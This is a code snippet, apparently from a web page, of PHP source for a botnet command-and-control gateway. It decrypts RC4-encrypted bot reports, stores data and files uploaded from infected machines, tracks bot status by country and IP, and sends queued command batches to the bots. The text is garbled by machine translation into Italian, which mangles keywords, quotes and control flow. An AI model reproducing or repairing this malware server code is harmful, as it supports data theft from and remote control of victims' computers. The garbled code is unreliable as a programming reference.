class= " lineNumbers " del
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
|
class= del
>< notpretty " del class= " del id= " codeSnippet835002 del =„„. $ip. “'&& di LIMITE 1„)) ($m = mysql_fetch_row ($r))! == falso)
{
$m di ritorno [0];
}
rinviare “--„;
}
touint di funzione ($str)
{
$q = @unpack (“L„, $str);
se (is_array ($q) && is_numeric ($q [1]))
{
$q di ritorno [1];
}
ritorno 0;
}
toint di funzione ($str)
{
$q = @unpack (“l„, $str);
se (is_array ($q) && is_numeric ($q [1]))
{
$q di ritorno [1];
}
ritorno 0;
}
toushort di funzione ($str)
{
$q = @unpack (“S„, $str);
se (is_array ($q) && is_numeric ($q [1]))
{
$q di ritorno [1];
}
ritorno 0;
}
definire (“__REPORT„, “1„);
se ($_SERVER [“REQUEST_METHOD„]! == “ALBERINO„)
{
uscita ();
}
require_once (“sistema/global.php„);
require_once (“sistema/config.php„);
$data = @file_get_contents (“PHP: //input„);
$data_size = @strlen ($data);
se ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)
{
uscita ();
}
$data = rc4 ($data, BIN_CRYPTKEY);
se (strcmp (md5 (substr ($data, HEADER_SIZE), allinea), substr ($data, HEADER_MD5, 16))! == 0)
{
uscita ();
}
$list = allineamento ();
$i = HEADER_SIZE;
mentre ($i < $data_size)
{
$k = @unpack (“L4„, @substr ($data, $i, ITEM_HEADER_SIZE));
$list [$k [1]] = @substr ($data, $i + ITEM_HEADER_SIZE, $k [3]);
$i += ITEM_HEADER_SIZE + $k [3];
}
unset ($data);
se (svuotare ($list [SBCID_BIN_VERSION]) || svuotare ($list [SBCID_BIN_ID]))
{
uscita ();
}
se (! connecttodb ())
{
uscita ();
}
$bin_id = disposizione ($list [SBCID_BIN_ID]);
$bin_id_q = addslashes ($bin_id);
$binnet = svuotano ($list [SBCID_BINNET])? DEFAULT_BINNET: disposizione ($list [SBCID_BINNET]);
$binnet_q = addslashes ($binnet);
$bin_version = touint ($list [SBCID_BIN_VERSION]);
$real_ipv4 = disposizione (! svuotare ($_GET [“IP„])? $_GET [“IP„]: $_SERVER [“REMOTE_ADDR„]);
$country = getcountryipv4 ();
$country_q = addslashes ($country);
$curtime = tempo ();
$rtime_min_online = $curtime - BIN_TIMEOUT * 60;
se (! svuotare ($list [SBCID_BATCH_STATUS]))
{
fare
{
mysql_query (“i bincmdbatches dell'AGGIORNAMENTO HANNO REGOLATO complete=complete+1, il complete_BINs=CONCAT (complete_BINs, “\ \ 0„. $bin_id_q. „ \ \ 0„) DOVE batch_id='".toint ($list [SBCID_BATCH_STATUS]). „ 'LIMITE 1 ");
file_put_contents (“2„, mysql_error ());
sendemptyreply ();
}
altrimenti
{
se (! svuotare ($list [SBCID_BINLOG]) || ! svuotare ($list [SBCID_BINLOG_TYPE]))
{
$type = touint ($list [SBCID_BINLOG_TYPE]);
se (== BLT_FILE di $type)
{
$bad_exts = allineamento (“PHP„, “asp„, “exe„, “pl„, “cgi„, “cmd„, “blocco„);
$fd_hash = md5 ($list [SBCID_BINLOG]);
$file_path = str_replace (“\ \„, “/„, “/„. $BINnet. “/„. $BIN_id. “/„. (svuotare ($list [SBCID_PATH_DEST])? “sconosciuto„: $list [SBCID_PATH_DEST]));
se (strpos ($file_path, “/. .") === falso)
{
$file_path = REPORTS_PATH. “/files/„. $file_path;
$inf = pathinfo ($file_path);
se (svuotare ($inf [“estensione„]))
{
$inf [“estensione„] = “dat„;
}
$file_path = $inf [“dirname„]. „/“.basename ($inf [“basename„],„. “. $inf [“estensione„]). “*.„. $inf [“estensione„];
se (array_search (strtolower ($inf [“estensione„]), $bad_exts)! == falso)
{
$file_path. = “.dat„;
}
$i = 0;
per (; $i < 9999; ++$i)
{
$f = str_replace (“*„, == 0 di $i? "": „ [“. $i.„] “, $file_path);
se (file_exists ($f))
{
se (($fd_size = filesize ($f)) lo strcmp del && (=== 0 di md5_file ($f), $fd_hash))
{
rottura;
se (md5_file ($f))
{
rottura;
}
}
altrimenti
{
se (createdir ($inf [“dirname„]))
{
}
se (! ($h = fopen ($f, “wb„)))
{
uscita ();
}
moltitudine ($h, LOCK_EX);
fwrite ($h, $list [SBCID_BINLOG]);
moltitudine ($h, LOCK_UN);
fclose ($h);
}
rottura;
}
}
}
altrimenti se (== di REPORTS_TO_DB 1)
{
$table = “reports_„ .gmdate (“ymd„, $curtime);
$QUERY = “INSERTO HA FATTO RITARDARE IN„. $table. “REGOLARE BIN_id='".$bin_id_q. ““, BINnet=„„. $BINnet_q. ““, BIN_version=„„. $BIN_version. ““, path_source=„„. (svuotare ($list [SBCID_PATH_SOURCE])? "": addslashes ($list [SBCID_PATH_SOURCE])). ““, path_dest=„„. (svuotare ($list [SBCID_PATH_DEST])? "": addslashes ($list [SBCID_PATH_DEST])). ““, time_system=„„. (svuotare ($list [SBCID_TIME_SYSTEM])? 0: toint ($list [SBCID_TIME_SYSTEM])). ““, time_tick=„„. (svuotare ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). ““, time_localbias=„„. (svuotare ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). ““, os_version=„„. (svuotare ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). ““, language_id=„„. (svuotare ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). ““, process_name=„„. (svuotare ($list [SBCID_PROCESS_NAME])? "": addslashes ($list [SBCID_PROCESS_NAME])). ““, type=„„. $type. ““, ipv4=„„ .addslashes ($real_ipv4). ““, country=„„. $country_q. ““, rtime=„„. $curtime. ““, context=„„ .addslashes ($list [SBCID_BINLOG]). “'„;
se (@! mysql_query ($query) || @ (! mysql_query (“GENERARE LA TABELLA SE NON ESISTE„. $table. “COME il && di rapporti„)! @mysql_query ($query)))
{
uscita ();
}
}
altrimenti se (== di REPORTS_TO_FS 1)
{
$file_path = str_replace (“\ \„, “/„, “/„. $BINnet. “/„. $real_ipv4);
se (! (strpos ($file_path, “/. .") === falso))
{
rottura;
}
$file_path = REPORTS_PATH. “/logs/„. $file_path;
se (createdir ($file_path))
{
}
se (! ($h = fopen ($file_path. “/„. $BIN_id, “wb„)))
{
uscita ();
}
moltitudine ($h, LOCK_EX);
fwrite ($h, “bin_id=„. $bin_id. „ \ r \ nbinnet= ". $binnet. “\ r \ ntime_system=„. (svuotare ($list [SBCID_TIME_SYSTEM])? 0: ftime (“H: i: s d.m.Y„, toint ($list [SBCID_TIME_SYSTEM]))). „ \ r \ ntime_tick= ". (svuotare ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). “\ r \ ntime_localbias=„. (svuotare ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „ \ r \ nlanguage_id= ". (svuotare ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). “\ r \ nprocess_name=„. (svuotare ($list [SBCID_PROCESS_NAME])? "": $list [SBCID_PROCESS_NAME]). „ \ r \ ntype= ". $type. “\ r \ nipv4=„. $real_ipv4. „ \ r \ ncountry= ". $country. “\ r \ nrtime=„ .ftime (“H: i: s d.m.Y„, $curtime). „ \ r \ ncontext= ". $list [SBCID_BINLOG]. “\ r \ n \ r \ n \ r \ n„);
moltitudine ($h, LOCK_UN);
fclose ($h);
}
}
altrimenti se (! svuotare ($list [SBCID_BIN_STATUS]))
{
$query = “BIN_id='".$bin_id_q. ““, BINnet=„„. $BINnet_q. ““, BIN_version=„„. $BIN_version. ““, net_latency=„„. (svuotare ($list [SBCID_NET_LATENCY])? 0: touint ($list [SBCID_NET_LATENCY])). ““, port_s1=„„. (svuotare ($list [SBCID_PORT_S1])? 0: toushort ($list [SBCID_PORT_S1])). ““, time_localbias=„„. (svuotare ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). ““, os_version=„„. (svuotare ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). ““, language_id=„„. (svuotare ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). ““, ipv4=„„ .addslashes ($real_ipv4). ““, country=„„. $country_q. ““, rtime_last=„„. $curtime. “'„;
se (mysql_query (“INSERTO in BINlist rtime_first='".$curtime STABILITO. ““, rtime_online=„ {$curtime} “, flag_install=„„. (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED? 1: 0). ““,„. $query. (“Sul rtime_online=IF dell'AGGIORNAMENTO di CHIAVE DUPLICATA (<= del rtime_last„ “. $rtime_min_online. „ “,„ {$curtime} ', rtime_online), {$query} ")))
{
rottura;
}
uscita ();
}
altrimenti
{
uscita ();
}
} mentre (0);
}
$reply_data = "";
$reply_count = 0;
$BIN_id_q = tosqlsafemask ($BIN_id_q);
$BINnet_q = tosqlsafemask ($BINnet_q);
$country_q = tosqlsafemask ($country_q);
$r = @mysql_query (“identificazione PRESCELTA, batch_id, batch_text da BINcmdbatches DOVE flag_disabled=0 E (send_limit=0 O sended < send_limit) E„ .(" (complete_BINs NON GRADICONO “% \ \ 0„. $BIN_id_q. „ \ \ 0%„) E ").(" (countries_wl= '' O il countries_wl GRADICE “% BINARI \ \ 0 ". $country_q. “\ \ 0%„) E ").(" (countries_bl NON GRADICE “% BINARI \ \ 0„. $country_q. „ \ \ 0%„) E ").(" (binnets_wl= '' O il binnets_wl GRADICE “% BINARI \ \ 0 ". $BINnet_q. “\ \ 0%„) E ").(" (binnets_bl NON GRADICE “% BINARI \ \ 0„. $BINnet_q. „ \ \ 0%„) E ").(" (BINs_wl= '' O BINs_wl GRADICE “% BINARI \ \ 0 ". $BIN_id_q. “\ \ 0%„) "). “LIMITE 10„);
mentre (&& di $r ($m = mysql_fetch_row ($r)))
{
$size = strlen ($m [2]);
$reply_data. = pacchetto (“LLLL„, $m [1], 0, $size, $size). $m [2];
++$reply_count;
@mysql_query (“i bincmdbatches dell'AGGIORNAMENTO HANNO REGOLATO sended=sended+1 DOVE id='".$m [0]. “'LIMITE 1„);
}
se (0 < $reply_count)
{
$reply_data = pacchetto (“LLL„, HEADER_SIZE + strlen ($reply_data), 0, $reply_count) .md5 ($reply_data, allineare). $reply_data;
eco rc4 ($reply_data, BIN_CRYPTKEY);
uscita ();
}
sendemptyreply ();
? >
|